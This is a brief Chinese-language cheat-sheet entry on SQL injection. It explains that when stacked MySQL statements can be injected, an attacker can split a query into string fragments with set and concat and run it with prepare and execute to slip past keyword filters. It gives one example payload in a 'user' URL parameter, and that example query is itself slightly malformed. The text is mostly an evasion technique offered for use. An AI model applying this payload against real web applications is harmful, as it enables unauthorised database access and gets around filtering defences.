如果能够注入多条mysql语句--绕过大部分关键词

使用set配合concat将要执行的语句用字符串链接起来，再用prepare，execute执行，以绕过过滤

例如

?user=admin';set @sql=concat("se","lect * from user()");prepare aaa from @sql;execute aaa; +--+